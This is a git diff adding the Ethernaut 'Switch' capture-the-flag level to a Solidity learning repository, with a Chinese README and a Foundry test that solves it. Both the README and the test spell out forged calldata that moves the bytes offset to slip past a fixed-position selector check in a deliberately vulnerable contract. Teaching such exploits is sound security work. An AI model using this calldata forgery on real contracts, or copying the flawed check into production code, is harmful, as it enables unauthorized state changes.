diff --git a/lib/forge-std b/lib/forge-std index 2b58ecb..fc560fa 160000 --- a/lib/forge-std +++ b/lib/forge-std @@ -1 +1 @@ -Subproject commit 2b58ecbcf3dfde7a75959dc7b4eb3d0670278de6 +Subproject commit fc560fa34fa12a335a50c35d92e55a6628ca467c diff --git a/src/Ethernaut/Switch/README.md b/src/Ethernaut/Switch/README.md new file mode 100644 index 0000000..9c33687 --- /dev/null +++ b/src/Ethernaut/Switch/README.md @@ -0,0 +1,57 @@ +# Switch + +## 题目描述 + +[原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0xb2aBa0e156C905a9FAEc24805a009d99193E3E53) + +打开合约中的开关。turn Switch On + +## 运行 + +根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: + +```sh +$ cd WTF-CTF + +$ forge test -C src/Ethernaut/Switch -vvvvv +``` + +## 功能简述 + +本题主要涉及`EVM`中对于`bytes`类型的编码。 + +`EVM`可以看作256位的虚拟机,每次取数据都取32字节(64个16进制位)数据。 + +如果调用`Switch`合约以关闭开关,我们需要构造的`calldata`如下 + +```hex +0x30c13ade // flipSwitch(bytes) +0000000000000000000000000000000000000000000000000000000000000020 // 位置信息 +0000000000000000000000000000000000000000000000000000000000000004 // 长度信息 +20606e1500000000000000000000000000000000000000000000000000000000 // turnSwitchOff() +``` + +`Switch`合约中的修饰器`onlyOff`通过查看`calldata`中的第68字节开始的4个字节的数据(即 20606e15)。来保证只能关闭开关。 + +至于为什么只查看第68字节开始的4个字节的数据。是因为`EVM`在编码`bytes`动态类型的数据时,添加了位置和长度信息(而位置和长度信息默认是连续且分别占据32个字节)。位置信息表示长度信息所在位置(基于bytes变量的偏移量),长度信息表示内容所占字节数量(bytes内容紧接长度信息后)。 + +而`Switch`合约中`flipSwitch`函数内部通过`call`调用自身函数时的`_data`是外部传入的,也就是说是可以伪造的。只需要保证伪造后`_data`的第68字节开始的4个字节是`turnSwitchOff()`的函数选择器即可。 + +所以,我们构造如下的`calldata` + +``` +0x30c13ade // flipSwitch(bytes) +0000000000000000000000000000000000000000000000000000000000000060 // 位置信息 +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff // 占位符, 内容无所谓,只需占32字节 +20606e1500000000000000000000000000000000000000000000000000000000 // turnSwitchOff() +0000000000000000000000000000000000000000000000000000000000000004 // 长度信息 +76227e1200000000000000000000000000000000000000000000000000000000 // turnSwitchOn() +``` + +这样,保证了第68字节开始的4个字节是`turnSwitchOff()`的函数选择器。 + +此外`EVM`在解码bytes变量时,首先找位置信息0x60,即bytes变量的长度在0x60的偏移量位置(即 6 * 16个字节,从0开始计数)。长度信息为0x04,(即 4个字节),内容为0x76227e12。 + +通过伪造编码,骗过`Switch`合约对bytes类型的刻板编码印象。 + +此外,可以阅读[Solidity Tutorial : all about Bytes](https://jeancvllr.medium.com/solidity-tutorial-all-about-bytes-9d88fdb22676)和[Solidity Tutorial: All About Calldata](https://betterprogramming.pub/solidity-tutorial-all-about-calldata-aebbe998a5fc),获取更多关于bytes类型和calldata的内容。 \ No newline at end of file diff --git a/src/Ethernaut/Switch/Switch.sol b/src/Ethernaut/Switch/Switch.sol new file mode 100644 index 0000000..edf275c --- /dev/null +++ b/src/Ethernaut/Switch/Switch.sol @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +contract Switch { + bool public switchOn; // switch is off + bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()")); + + modifier onlyThis() { + require(msg.sender == address(this), "Only the contract can call this"); + _; + } + + modifier onlyOff() { + // we use a complex data type to put in memory + bytes32[1] memory selector; + // check that the calldata at position 68 (location of _data) + assembly { + calldatacopy(selector, 68, 4) // grab function selector from calldata + } + + require(selector[0] == offSelector, "Can only call the turnOffSwitch function"); + _; + } + + function flipSwitch(bytes memory _data) public onlyOff { + (bool success,) = address(this).call(_data); + require(success, "call failed :("); + } + + function turnSwitchOn() public onlyThis { + switchOn = true; + } + + function turnSwitchOff() public onlyThis { + switchOn = false; + } +} diff --git a/src/Ethernaut/Switch/Switch.t.sol b/src/Ethernaut/Switch/Switch.t.sol new file mode 100644 index 0000000..6bfcaf5 --- /dev/null +++ b/src/Ethernaut/Switch/Switch.t.sol @@ -0,0 +1,51 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import "./SwitchFactory.sol"; + +contract SwitchTest is Test { + SwitchFactory factory; + address switchInstance; + + function setUp() public { + factory = new SwitchFactory(); + switchInstance = factory.createInstance(address(this)); + } + + function testSwitch() public { + bytes memory data = abi.encodeWithSelector( + bytes4(keccak256("flipSwitch(bytes)")), abi.encodeWithSelector(bytes4(keccak256("turnSwitchOff()"))) + ); + /** + * 0x30c13ade // selector of flipSwitch(bytes) + * 0000000000000000000000000000000000000000000000000000000000000020 // offset of _data + * 0000000000000000000000000000000000000000000000000000000000000004 // length of _data + * 20606e1500000000000000000000000000000000000000000000000000000000 // selector of turnSwitchOff() + */ + + (bool success, bytes memory err) = switchInstance.call(data); + if (!success) { + console.logBytes(err); + } + assertTrue(!Switch(switchInstance).switchOn()); + + /** + * 0x30c13ade // selector of flipSwitch(bytes) + * 0000000000000000000000000000000000000000000000000000000000000060 // offset of _data + * ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff // placeholder, content doesn't matter, length is 32 bytes + * 20606e1500000000000000000000000000000000000000000000000000000000 // selector of turnSwitchOff() + * 0000000000000000000000000000000000000000000000000000000000000004 // length of _data + * 76227e1200000000000000000000000000000000000000000000000000000000 // selector of turnSwitchOn() + */ + data = + hex"30c13ade0000000000000000000000000000000000000000000000000000000000000060ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff20606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000"; + (success, err) = switchInstance.call(data); + if (!success) { + console.logBytes(err); + } + assertTrue(Switch(switchInstance).switchOn()); + + assertTrue(factory.validateInstance(payable(switchInstance), address(this))); + } +} diff --git a/src/Ethernaut/Switch/SwitchFactory.sol b/src/Ethernaut/Switch/SwitchFactory.sol new file mode 100644 index 0000000..54d57e4 --- /dev/null +++ b/src/Ethernaut/Switch/SwitchFactory.sol @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "../base/Level.sol"; +import "./Switch.sol"; + +contract SwitchFactory is Level { + function createInstance(address _player) public payable override returns (address) { + _player; + Switch _switch = new Switch(); + return address(_switch); + } + + function validateInstance(address payable _instance, address _player) public view override returns (bool) { + _player; + Switch _switch = Switch(_instance); + return _switch.switchOn(); + } +}